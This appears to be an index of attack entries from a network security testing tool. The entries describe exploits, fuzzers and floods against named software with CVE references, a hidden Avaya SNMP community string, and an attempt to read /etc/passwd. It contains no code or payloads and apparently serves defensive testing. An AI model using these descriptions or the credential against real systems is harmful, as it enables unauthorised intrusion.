Executive Description:	TCP x86 NOOP Packet Variant 7

Detailed Description:	This threat sends a TCP packet that appears to be part of an existing valid connection with a NOOP sled in it. A NOOP sled is used by shellcode to insure that the injected code will execute. Unfortunately, there are many other reasons why a NOOP might appear in traffic. This threat utilized equivalent assembly instructions to the standard NOOP instruction.
Protocol Type:	TCP
Threat Package:	Standard
Threat File Name:	fake_idntd_bof_IPv6.xml
Executive Description:	fakeidntd Remote Exploit (IPv6 Version)
Detailed Description:	This threat causes a buffer overflow condition to occur to the fakeidntd program. fakeidntd is a IDENT daemon that allows administrators to specify their own user IDs for TCP connections. This exploit sends multiple packets containing 19 bytes each, taking advantage of a incorrect read from a socket to a 20 byte buffer. fakeident typically listens on TCP port 113. (IPv6 Version)
Protocol Type:	IDENT/IPv6
CVEID:	CVE-2002-1792
Threat Package:	Standard
Threat File Name:	imageview_rfi.xml
Executive Description:	Imageview v5.3 (fileview.php) Local File Inclusion
Detailed Description:	This threat demonstrates a remote file inclusion flaw for the Imageview web application. This threat is delivered via HTTP port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20140909-15_Adobe_Flash_Player_and_AIR_String_Concatenation_Integer_Overflow.xml
Executive Description:	Adobe Flash Player and AIR String Concatenation Integer Overflow
Detailed Description:	An integer overflow vulnerability exists in Adobe Flash Player. The vulnerability is due to an error while concatenating large strings. A remote attacker could exploit this vulnerability by enticing a user to open a webpage with a crafted flash content. Successful exploitation could result in arbitrary code execution in the context of the currently logged in user.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP/NFS
CVEID:	CVE-2014-0550
OSVDB:	111105
Threat File Name:	FlatCMS_Inject.xml
Executive Description:	FlatCMS Command Injection
Detailed Description:	This threat exploits a flaw in the FlatCMS application that allows an attacker to inject arbitrary commands into the Applications script. FlatCMS is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat File Name:	TSL20150414-14_Microsoft_HTTP.sys_Remote_Code_Execution.xml
Executive Description:	Microsoft HTTP.sys Remote Code Execution.
Detailed Description:	A remote code execution vulnerability has been reported in Microsoft HTTP.sys. The vulnerability is due to an issue with the processing of HTTP messages in the HTTP protocol stack. A remote unauthenticated attacker could exploit this vulnerability by sending a specially crafted HTTP request to a vulnerable server.
Protocol Type:	HTTP
CVEID:	CVE-2015-1635
Threat File Name:	TSL20150310-36_Microsoft_Internet_Explorer_CVE-2015-0100_Use_After_Free.xml
Executive Description:	Microsoft Internet Explorer CVE-2015-0100 Use After Free.
Detailed Description:	A use after free vulnerability has been reported in Microsoft Internet Explorer. The vulnerability is due to an issue with handling certain objects in memory. A remote unauthenticated attacker could exploit this vulnerability by enticing a user into opening a specially crafted web page. Successful exploitation could lead to arbitrary code execution under the security context of the browser process.
Protocol Type:	HTTP
CVEID:	CVE-2015-0100
OSVDB:	119346
Threat File Name:	FSC20060314-12_Microsoft_Office_Malformed_Routing_Slip_Code_Execution_IPv6.xml
Executive Description:	Microsoft Office Malformed Routing Slip Code Execution (IPv6 Version)
Detailed Description:	A vulnerability exists in Microsoft Office components when processing documents which include malformed Routing Slip records. This vulnerability may be exploited by supplying a malicious document to a vulnerable target host and enticing a user to open the file. An attacker may exploit this vulnerability to inject and execute arbitrary code into the vulnerable application process. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-0009
Threat Package:	Standard
Threat File Name:	FSC20110118-03_HP_OpenView_Network_Node_Manager_nnmRptConfig_exe_schd_select1_Remote_Code_Execution_IPv6.xml
Executive Description:	HP OpenView Network Node Manager nnmRptConfig.exe schd_select1 Remote Code Execution (IPv6 Version)
Detailed Description:	A buffer overflow vulnerability exists in the HP OpenView Network Node Manager (NNM) CGI program nnmRptConfig.exe. The vulnerability is due to a boundary error when processing HTTP requests which contain a maliciously crafted schd_select1 parameter. A remote unauthenticated attacker can exploit this vulnerability by sending a crafted HTTP request to a target server, potentially causing arbitrary code to be injected and executed. In an attack scenario, where arbitrary code is injected and executed on the target machine, the behaviour of the target is dependent on the intention of the malicious code.
Protocol Type:	IPV6,HTTP,HTTPS
CVEID:	CVE-2011-0269
Threat File Name:	FSC20080311-18_Microsoft_Excel_Malformed_Formula_Parsing_Code_Execution.xml
Executive Description:	Microsoft Excel Malformed Formula Parsing Code Execution

Detailed Description:	There exists a buffer overflow vulnerability in Microsoft Excel. The vulnerability is due to improper handling of malformed formulas. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted Excel file, potentially causing arbitrary code to be injected and executed in the security context of the current user. An attack targeting this vulnerability can result in the injection and execution of code. If code execution is successful, the behaviour of the target will depend on the intention of the attacker. Any code injected will be executed within the security context of the currently logged in user. In the case of an unsuccessful code execution attack, Excel will terminate resulting in the loss of any unsaved data from the current session.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2008-0115
Threat Package:	Standard
Threat File Name:	BusMail_IPv6.xml
Executive Description:	BusinessMail Buffer Overflow (IPv6 Version)
Detailed Description:	This threat causes a buffer overflow in the BusinessMail SMTP server. This is done by sending a long argument following the SMTP HELO and MAIL FROM verbs. SMTP is a mail delivery protocol, and typically listens on port 25. (IPv6 Version)
Protocol Type:	SMTP/IPv6
CVEID:	CVE-2005-2472
OSVDB:	18407
Threat Package:	Standard
Threat File Name:	neotracepro_activex_bof_IPv6.xml
Executive Description:	NeoTracePro 3.25 ActiveX TraceTarget() Remote Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the NeoTracePro ActiveX application, resulting in the overwriting of arbitrary files. This threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-6707
Threat Package:	Standard
Threat File Name:	FSC20080212-23_Microsoft_Works_File_Converter_WPS_File_Section_Header_Index_Table_Stack_Overflow_IPv6.xml
Executive Description:	Microsoft Works File Converter WPS File Section Header Index Table Stack Overflow (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in Microsoft Works File Converter. The vulnerability is due to insufficient input validation of section header index table while handling WPS files. A remote attacker can exploit this vulnerability by enticing the target user to open maliciously constructed files, potentially causing arbitrary code to be injected and executed in the security context of the logged-in user. (IPv6 Version)
Protocol Type:	/IPv6
CVEID:	CVE-2008-0105
Threat Package:	Standard
Threat File Name:	TSL20060920-05_GNU_gzip_LZH-Decompression_make_table_Stack_Modification_IPv6.xml
Executive Description:	GNU gzip LZH Decompression make_table Stack Modification(IPv6 Version)
Detailed Description:	There exists an array indexing error vulnerability in the GNU gzip application. The flaw is due to improper boundary checks when decompressing LZH archives. An attacker may leverage this vulnerability to cause the affected product to terminate unexpectedly and potentially execute arbitrary code on the target system. In an attack case where code injection is not successful, the affected application will terminate abnormally. In a more sophisticated attack where code injection results is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the current user. The risk of an attack resulting in successful exploitation is increased on 64 bit systems
Protocol Type:	IPv6,HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP,FTP
CVEID:	CVE-2006-4335
Threat File Name:	dlink_upnp_m-search_IPv6.xml
Executive Description:	D-Link Router uPnP Stack Overflow M-SEARCH (IPv6 Version)
Detailed Description:	This threat causes a stack overflow on affected D-Link routers by sending out a uPnP M-SEARCH request with overly long parameters. This can crash the router or cause code execution. uPnP operates on UDP port 1900. (IPv6 Version)
Protocol Type:	UPnP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20161129-06_Disk_Pulse_Enterprise_Server_HttpParser_Buffer_Overflow_IPv6.xml
Executive Description:	Disk Pulse Enterprise Server HttpParser Buffer Overflow (IPv6 Version)
Detailed Description:	A buffer overflow vulnerability has been reported in the web server component of Disk Pulse Enterprise Server. The vulnerability is due to a failure on part of the application to implement proper bounds checking on components found in HTTP requests. A remote, unauthenticated attacker could exploit this vulnerability by sending crafted HTTP requests to the target server. Successful exploitation allows the attacker to execute arbitrary code in the security context of SYSTEM.
Protocol Type:	HTTP, IPv6
Threat File Name:	eva-web_rfi_IPv6.xml
Executive Description:	EVA-Web 1.1<= 2.2 (index.php3) Remote File Inclusion Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Eva-Web is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-2690
Threat Package:	Standard
Threat File Name:	php_livehelper_rfi.xml
Executive Description:	PHP Live Helper Global.PHP Remote File Inclusion Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. PHP Live Helper is a web application that typically listens on port 80
Protocol Type:	HTTP
Threat Package:	Standard

Threat File Name:	edgwall_trac_sqli.xml
Executive Description:	Edgwall Software Trac Search Module SQL Injection Vulnerability
Detailed Description:	This threat sends a crafted URL that contains an SQL query which is executed by the server. Edgwall an web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-4065
OSVDB:	21459
Threat File Name:	TSL20170426-03_IBM_Domino_IMAP_Mailbox_Name_Stack_Buffer_Overflow.xml
Executive Description:	IBM Domino IMAP Mailbox Name Stack Buffer Overflow
Detailed Description:	A stack buffer overflow vulnerability exist in IBM Domino IMAP Server. The vulnerability is due to incorrect processing of encoded mailbox name arguments in IMAP commands. A remote, authenticated attacker can exploit this vulnerability to cause a buffer overflow. Successful exploitation will result in the execution of arbitrary code with SYSTEM privileges. An unsuccessful attack could result in a denial of service condition of the affected service.
Protocol Type:	IMAP,IMAPS
CVEID:	CVE-2017-1274
Threat File Name:	FSC20040227-03_ServU_Timezone_MDTM_BO_IPv6.xml
Executive Description:	ServU Timezone MDTM BO (IPv6 Version)
Detailed Description:	Serv-U FTP server, a popular Windows FTP server, is vulnerable to a buffer overflow. Serv-U FTP server, versions 5.0.0.4 and prior, do not correctly validate input when an FTP MDTM command is run. An attack using this vulnerability can give an attacker SYSTEM privileges on the remote server. (IPv6 Version)
Protocol Type:	FTP/IPv6
CVEID:	CVE-2004-0330
Threat Package:	Standard
Threat File Name:	TSL20110412-07_Microsoft_Office_PowerPoint_OfficeArt_Atom_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Office PowerPoint OfficeArt Atom Memory Corruption(IPv6 Version)
Detailed Description:	A code execution vulnerability exists in Microsoft Office PowerPoint. The vulnerability is due to a memory corruption while processing specially crafted PowerPoint files that contain a OfficeArt Atom record. An attacker can exploit this vulnerability by enticing a user to open a specially crafted PowerPoint file. This can result in code execution in the context of the affected application.
Protocol Type:	IPV6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2011-0976
Threat File Name:	sabdrimer_rfi_IPv6.xml
Executive Description:	Sabdrimer PRO Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server.Sabdrimer PRO is a web application that typically listens on port 80 (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-3520
Threat Package:	Standard
Threat File Name:	TSL20120710-03_Microsoft_ActiveX_Data_Objects_Cachesize_Memory_Corruption.xml
Executive Description:	Microsoft ActiveX Data Objects Cachesize Memory Corruption
Detailed Description:	A memory corruption vulnerability has been reported in Microsoft ActiveX Data Objects. The vulnerability is due to access to a pointer that has been improperly initialized. A remote, unauthenticated attacker can exploit this vulnerability by enticing an unsuspecting user to visit a specially crafted web page containing specially crafted HTML, XML and script code. This can lead to code execution in the context of the affected user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2012-1891
OSVDB:	83657
Threat File Name:	sipbadaccept.xml
Executive Description:	SIPPING: Unacceptable Accept
Detailed Description:	This threat sends out a SIP INVITE message requiring an unknown Accept: type. This is technically valid but unexpected and may confuse or crash a SIP implementation.
Protocol Type:	SIP
Threat Package:	VoIP
Threat File Name:	nomoketos_rfi.xml
Executive Description:	phpBB Module NoMoKeTos Rules 0.0.1 Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. NoMoKeTos is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-1106
Threat Package:	Standard
Threat File Name:	BGPupdateFlood_IPv6.xml
Executive Description:	BGP Update Flood (IPv6 Version)
Detailed Description:	This is a flood of the Border Gateway Protocol's update message. This attack will misinform routers. BGP typically uses TCP port 179. (IPv6 Version)
Protocol Type:	BGP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20101026-08_Mozilla_Firefox_document_write_And_DOM_Insertions_Memory_Corruption.xml
Executive Description:	Mozilla Firefox document.write And DOM Insertions Memory
Detailed Description:	A remote code execution vulnerability has been reported in Mozilla Firefox. The vulnerability is due to a buffer overflow while executing specially crafted Javascript call document.write() combined with DOM insertions.An attacker can exploit this vulnerability by enticing a user to visit a maliciously crafted web site.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2010-3765
Threat File Name:	fuzz-SMTP-HELO_Parameter_brackets.xml

Executive Description:	Fuzz SMTP HELO verb with []
Detailed Description:	Fuzzes the SMTP HELO Parameter with [] from size of 0 to a size of 4096.
Protocol Type:	SMTP
Threat Package:	Fuzzing
Threat File Name:	FSC20081014-17_Microsoft_Windows_Message_Queueing_Service_Queue_Name_Handling_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Windows Message Queuing Service Queue Name Handling Memory Corruption (IPv6 Version)
Detailed Description:	A memory corruption vulnerability exists in Microsoft Windows Message Queuing Service. The vulnerability is caused by a failure to validate messages containing user-defined memory address. Remote unauthenticated attackers can exploit this vulnerability by sending specially crafted messages to the affected interface. A successful exploitation can lead to arbitrary code execution with System level privileges. (IPv6 Version)
Protocol Type:	ZEPHYR-CLT/IPv6
CVEID:	CVE-2008-3479
Threat Package:	Standard
Threat File Name:	TSL20111201-06_RealNetworks_RealPlayer_MPG_Width_Integer_Underflow_Memory_Corruption_IPv6.xml
Executive Description:	RealNetworks RealPlayer MPG Width Integer Underflow Memory Corruption (IPv6 VERSION)
Detailed Description:	An integer underflow vulnerability exists in RealPlayer's handling of MPEG movies. The vulnerability is caused when the application subtracts one from a user controlled value that is then used as a loop iterator. A remote attacker can exploit this vulnerability by enticing a user to open a specially crafted MPEG file. Successful exploitation can lead to the injection and execution of arbitrary code in the context of the currently logged in user.
Protocol Type:	IPV6,HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP
CVEID:	CVE-2011-4259
Threat File Name:	fuzz-SMTP-HELO_Parameter_ampersand_IPv6.xml
Executive Description:	Fuzz SMTP HELO verb with
Detailed Description:	Fuzzes the SMTP HELO Parameter with
Protocol Type:	SMTP/IPv6
Threat Package:	Fuzzing
Threat File Name:	FSC20100826-02_OpenLDAP_Modrdn_RDN_NULL_String_Denial_of_Service.xml
Executive Description:	OpenLDAP Modrdn RDN NULL String Denial of Service
Detailed Description:	A vulnerability exists in OpenLDAP. The vulnerability is due to invalid memory access when handling a NULL string in a modrdn request. A remote attacker could exploit this vulnerability by sending a malicious request via a modrdn request to connect to the target server. Successful exploitation would allow cause termination of slapd daemon resulting in a denial of service condition.
Protocol Type:	LDAP,LDAPS
CVEID:	CVE-2010-0212
Threat Package:	Standard
Threat File Name:	avaya_snmp_hidden.xml
Executive Description:	Avaya Hidden Community String
Detailed Description:	This threat sends an SNMP probe with the community string NoGah\$@!. This community string is enabled in certain Avaya switches and allows read and write access.
Protocol Type:	SNMP
CVEID:	CVE-2002-1448
OSVDB:	12401
Threat Package:	Standard
Threat File Name:	TSL20120404-06_Cisco_WebEx_Recording_Format_Player_atdl2006_dll_Buffer_Overflow.xml
Executive Description:	Cisco WebEx Recording Format Player atdl2006.dll Buffer Overflow
Detailed Description:	A code execution vulnerability exists in Cisco WebEx Recording Format (WRF) Player. This vulnerability is due to a buffer overflow when WRF player handles WRF files. A remote attacker can leverage this vulnerability by crafting a WRF file and enticing a target user to view the malicious file. Successful exploitation would result in execution of arbitrary code on the target host in the context of the application.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS,NFS
CVEID:	CVE-2012-1335
OSVDB:	81104
Threat File Name:	TSL20120802-01_Apple_Safari_WebKit_Button_Column_Blocks_Memory_Corruption_IPv6.xml
Executive Description:	Apple Safari WebKit Button Column Blocks Memory Corruption (IPv6)
Detailed Description:	A memory corruption vulnerability exists within WebKit, a component of Apple Safari. The vulnerability is due to improper handling of column blocks and buttons which can lead to memory corruption. A remote, unauthenticated attacker can exploit this vulnerability by enticing a target user to open an HTML document with Safari. A successful exploitation attempt could result in the execution of arbitrary code in the security context of the target user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2012-1520
OSVDB:	84139
Threat File Name:	TSL20150909-14_Advantech_WebAccess_AspVCObj_AspDataDriven_ActiveX_ConvToSafeArray_Stack_Buffer_Overflow_IPv6.xml
Executive Description:	Advantech WebAccess AspVCObj.AspDataDriven ActiveX ConvToSafeArray Stack Buffer Overflow IPv6 version.
Detailed Description:	A stack buffer overflow vulnerability exists in Advantech's WebAccess SCADA software. The vulnerability is due to insufficient input validation of an argument to ConvToSafeArray() in the AspVCObj.AspDataDriven ActiveX control. A remote, unauthenticated attacker can exploit this vulnerability by enticing a vulnerable user to open a crafted web page. Successful exploitation can lead to code execution in the context of the target user.
Protocol Type:	HTTP/HTTPS.IPV6
Threat File Name:	FloodARPspooof.xml
Executive Description:	BSD Spoofed ARP Flood

Detailed Description:	This threat floods a FreeBSD system with spoofed ARP requests, causing resource starvation which can results in a system panic. From the FreeBSD advisory FreeBSD-SA-03:14.arp: Normally, when a FreeBSD system receives an ARP request for a network address configured on one of its interfaces from a system on a local network, it adds a reciprocal ARP entry to the cache for the system from where the request originated. Expiry timers are used to purge unused entries from the ARP cache. A reference count is maintained for each ARP entry. If the reciprocal ARP entry is not in use by an upper layer protocol, the reference count will be zero.
Protocol Type:	ARP
CVEID:	CVE-2003-0804
OSVDB:	2599
Threat Package:	Standard
Threat File Name:	FSC20040920-01_FreeRADIUS_Unspecified_Denial_of_Service_IPv6.xml
Executive Description:	FreeRADIUS Unspecified Denial of Service (IPv6 Version)
Detailed Description:	A vulnerability exists in the way the FreeRADIUS software package handles out of sequence messages. When a RADIUS authentication or accounting request is sent out-of-order to a vulnerable FreeRADIUS, a memory exception occurs. This vulnerability may be leveraged by a remote attacker to deny service to the FreeRADIUS server. (IPv6 Version)
Protocol Type:	RADIUS/IPv6
CVEID:	CVE-2004-0938
Threat Package:	Standard
Threat File Name:	limewire.xml
Executive Description:	Limewire Arbitrary File Download
Detailed Description:	This threat attempts to download an arbitrary file from a Limewire host. Limewire is a file sharing application, and uses the Gnutella protocol to share information. Limewire typically listens on port 6346. This particular threat will attempt to download the contents of /etc/passwd.
Protocol Type:	Gnutella
CVEID:	CVE-2005-0788
OSVDB:	14671
Threat Package:	Standard
Threat File Name:	FSC20080408-09_Microsoft_Project_Invalid_Memory_Pointer_Code_Execution.xml
Executive Description:	Microsoft Project Invalid Memory Pointer Code Execution
Detailed Description:	A memory corruption vulnerability exists in Microsoft Project. The flaw is due to improperly validation of memory resource allocations when handling Project files. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted Project file, potentially causing arbitrary code to be injected and executed in the security context of the current user. An attack targeting this vulnerability can result in the injection and execution of code. If code execution is successful, the behaviour of the target will depend on the intention of the attacker. Any code injected will be executed within the security context of the currently logged in user. In the case of an unsuccessful code execution attack, the affected application will terminate resulting in the loss of any unsaved data from the current session.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2008-1088
Threat Package:	Standard
Threat File Name:	apple_safari_fmtstr.xml
Executive Description:	Apple Mac OS X Safari Format String Vulnerability
Detailed Description:	This threat uses a http server reply containing format string characters that may cause vulnerable Safari clients to crash. Apple Safari is a web browser that typically connects to web servers on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-0644
Threat Package:	Standard
Threat File Name:	TSL20170223-01_Microsoft_Internet_Explorer_and_Edge_column-span_Type_Confusion_IPv6.xml
Executive Description:	Microsoft Internet Explorer and Edge column-span Type Confusion (IPv6 Version)
Detailed Description:	A type confusion vulnerability has been reported in the HandleColumnBreakOnColumnSpanningElement function of Microsoft Internet Explorer and Edge. This vulnerability is due to improper objects access in memory. A remote attacker could exploit this vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP, HTTPS, IPv6
CVEID:	CVE-2017-0037
Threat File Name:	TSL20160913-37_Microsoft_Edge_CVE-2016-3294_Memory_Corruption.xml
Executive Description:	Microsoft Edge CVE-2016-3294 Memory Corruption
Detailed Description:	A memory corruption vulnerability has been reported in Microsoft Edge. This vulnerability is due to improper access of objects in memory. A remote attacker could exploit this vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution under the security context of the target user.
Protocol Type:	HTTP
CVEID:	CVE-2016-3294
Threat File Name:	barcodeax_activex_bof_IPv6.xml
Executive Description:	BarCodeAx.dll v. 4.9 ActiveX Control Remote Stack Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the BarCodeAx ActiveX application, resulting in the execution arbitrary code. This threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	centericq_dos_IPv6.xml
Executive Description:	CenterICQ Malformed Packet Handling Remote Denial of Service Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a malformed 1 byte tcp packet which causes an unhandled exception. CenterICQ uses any number of ports for file transfers, so any port specification works well. (IPv6 Version)
Protocol Type:	Proprietary/IPv6
CVEID:	CVE-2005-3694
OSVDB:	21270

Threat File Name:	ipv6_SymantecNetbios1_IPv6.xml
Executive Description:	IPv6 Symantec Firewall NetBIOS Buffer Overflow (IPv6 Version)
Detailed Description:	This threat sends a corrupted NetBIOS answer causing a heap overflow in Symantec's Firewall software. In order for this threat to work the user must target an open, listening UDP port (for instance, port 137) and allow this traffic through the firewall. (IPv6 Version)
Protocol Type:	NETBIOS_NS/IPv6
Threat Package:	Standard
Threat File Name:	mambo_reg_component_rfi_IPv6.xml
Executive Description:	Mambo Extended Registration Component mosConfig_absolute_path Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Mambo Extended Registration Component is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20090504-03_IBM_Tivoli_Storage_Manager_Agent_Client_Generic_String_Handling_Buffer_Overflow.xml
Executive Description:	IBM Tivoli Storage Manager Agent Client Generic String Handling Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in IBM Tivoli Storage Manager Agent Client. The vulnerability is due to a boundary error in a generic string handling function when parsing strings from request packets. This vulnerability can be exploited to cause stack-based buffer overflow. Successful exploitation allows execution of arbitrary code. In an attack case where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the affected process. In an attack case where code injection is not successful, the affected process will terminate abnormally.
Protocol Type:	TCP
CVEID:	CVE-2008-4828
Threat Package:	Standard
Threat File Name:	fuzz-SMTP-HELO_Parameter_dash.xml
Executive Description:	Fuzz SMTP HELO verb with -
Detailed Description:	Fuzzes the SMTP HELO Parameter with - from size of 0 to a size of 4096.
Protocol Type:	SMTP
Threat Package:	Fuzzing
Threat File Name:	TSL20160921-01_Red5_Server_Apache_Commons_Collections_Insecure_Deserialization.xml
Executive Description:	Red5 Server Apache Commons Collections Insecure Deserialization
Detailed Description:	An insecure deserialization vulnerability has been reported in Red5 web server that is part of Apache OpenMeetings application. This vulnerability is due to the inclusion of the vulnerable version of Apache Commons Collections library in the classpath combined with insecure deserialization. A remote, unauthenticated attacker can exploit this vulnerability by sending a specially crafted message to the RMI service running on port 9999/TCP. Successful exploitation can result in arbitrary code execution in the security context of the RMI service.
Protocol Type:	RMI
Threat File Name:	FSC20101214-39_Microsoft_Office_TIFF_Image_Converter_Memory_Corruption.xml
Executive Description:	Microsoft Office TIFF Image Converter Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Microsoft Office. The vulnerability is due to the way Office handles TIFF image files. An attacker can leverage this vulnerability by enticing a target user to open a malicious file. Successful exploitation would allow an attacker to execute arbitrary code in the security context of the logged in user. An unsuccessful attack could cause an abnormal termination of the affected product. Note: Microsoft has advised that the MS10-087 patch must be applied to mitigate this vulnerability. The research team has not been successful in validating the MS10-087 or MS10-105 patch.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2010-3950
Threat File Name:	InternetExplorerKeystroke.xml
Executive Description:	Internet Explorer KeyStroke Capture
Detailed Description:	This threat captures specific keystrokes typed into a webpage, and uses them to populate a search string in the file upload form input. This can allow an attacker to upload arbitrary files off of a host computer via a malicious webpage. This is a server based attack and comes from a malicious webserver. Webserver's typically listen on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-2900
Threat Package:	Standard
Threat File Name:	TSL20170314-31_Microsoft_Edge_CVE-2017-0010_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Edge CVE-2017-0010 Memory Corruption (IPv6 Version)
Detailed Description:	A memory corruption vulnerability has been reported in Microsoft Edge. The vulnerability is due to improper use of objects in memory. A remote attacker could exploit the vulnerability by enticing a user to open a maliciously crafted web page. Successful exploitation of this vulnerability could allow the attacker to execute arbitrary code with the privileges of the browser.
Protocol Type:	HTTP,HTTPS,IPv6
CVEID:	CVE-2017-0010
Threat File Name:	FSC20090720-05_RealNetworks_Helix_Server_RTSP_SETUP_Request_Denial_of_Service_IPv6.xml
Executive Description:	RealNetworks Helix Server RTSP SETUP Request Denial of Service (IPv6 Version)
Detailed Description:	A denial of service vulnerability exists in RealNetworks Helix Server. The vulnerability is due to an error in the way RealNetworks Helix Server handles SETUP requests. Remote unauthenticated attackers can exploit this flaw by sending a crafted SETUP request to an affected server. As a result of processing the malicious command, a denial of service condition will be created on the target system. (IPv6 Version)
Protocol Type:	RTSP/IPv6
CVEID:	CVE-2009-2534
Threat Package:	Standard
Threat File Name:	fuzz-ARP_protoAddrType.xml

Executive Description:	Fuzzer for Protocol:ARP and Field:protoAddrType
Detailed Description:	
Protocol Type:	ARP
Threat Package:	Fuzzing
Threat File Name:	FSC20080311-15_Microsoft_Excel_File_Importing_Code_Execution.xml
Executive Description:	Microsoft Excel File Importing Code Execution
Detailed Description:	There exists a code execution vulnerability in Microsoft Excel. The vulnerability is due to improper parsing of the SYLK-formatted file. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted SYLK file, potentially causing arbitrary code to be injected and executed in the security context of the current user. An attack targeting this vulnerability can result in the injection and execution of code. If code execution is successful, the behaviour of the target will depend on the intention of the attacker. Any code injected will be executed within the security context of the currently logged in user. In the case of an unsuccessful code execution attack, Excel will terminate resulting in the loss of any unsaved data from the current session. Note that the vendor provided patch only eliminates the code execution possibility by proper initialization of the pointers. The denial of service condition still remains and affects a patched Excel 2000, as well as other versions of Excel, including Excel 2002 and Excel 2003.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2008-0112
Threat Package:	Standard
Threat File Name:	mxsmartor_rfi_IPv6.xml
Executive Description:	MX Smartor Album.php Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. MX Smartor is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	acgvclick_rfi.xml
Executive Description:	ACGVclick <= 0.2.0 (path) Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. ACGVclick is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-0577
Threat Package:	Standard
Threat File Name:	refererXSS_IPv6.xml
Executive Description:	Generic Referer XSS Attempt (IPv6 Version)
Detailed Description:	This attack represents a cross-site scripting attack through the referer field of HTTP. This field is used in logfile analysis and some server side scripting. By injecting javascript into this field, code can be executed through the webpage and be used to steal session and login information. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20060123-06_Computer_Associates_iTechnology_iGateway_Service_Content-Length_Buffer_IPv6.xml
Executive Description:	Computer Associates iTechnology iGateway Service Content-Length Buffer (IPv6 Version)
Detailed Description:	A heap based buffer overflow exists in the iTechnology iGateway service of multiple Computer Associates' products. The vulnerability is caused due to insufficient boundary checks of the value of the Content-Length header field in received HTTP requests. An unauthenticated remote attacker can exploit the vulnerability to cause a denial of service condition or execute arbitrary code on the target host within the privileges of the running service, System by default. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-3653
Threat Package:	Standard
Threat File Name:	php3_format.xml
Executive Description:	PHP Format String Attack
Detailed Description:	This threat attempts to execute code on a server running PHP by taking advantage of a improperly used logging function which allows a user to write to an arbitrary address. The shellcode included will attempt to write a file to /tmp/BADPHP.
Protocol Type:	HTTP
CVEID:	CVE-2000-0967
OSVDB:	434
Threat Package:	Standard
Threat File Name:	ms_helpworkshop_bof.xml
Executive Description:	Microsoft Help Workshop .CNT File Buffer Overflow Vulnerability
Detailed Description:	This threat simulates a client making a HTTP GET request, and the server replying with a maliciously constructed .CNT file with an unusually long string that will result in a buffer overflow condition when accessed by the vulnerable version of Help Workshop. The .CNT file is transferred over HTTP, which usually runs over port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20090424-03_Oracle_Database_DBMS_TNS Listener_Denial_of_Service.xml
Executive Description:	Oracle Database DBMS TNS Listener Denial of Service
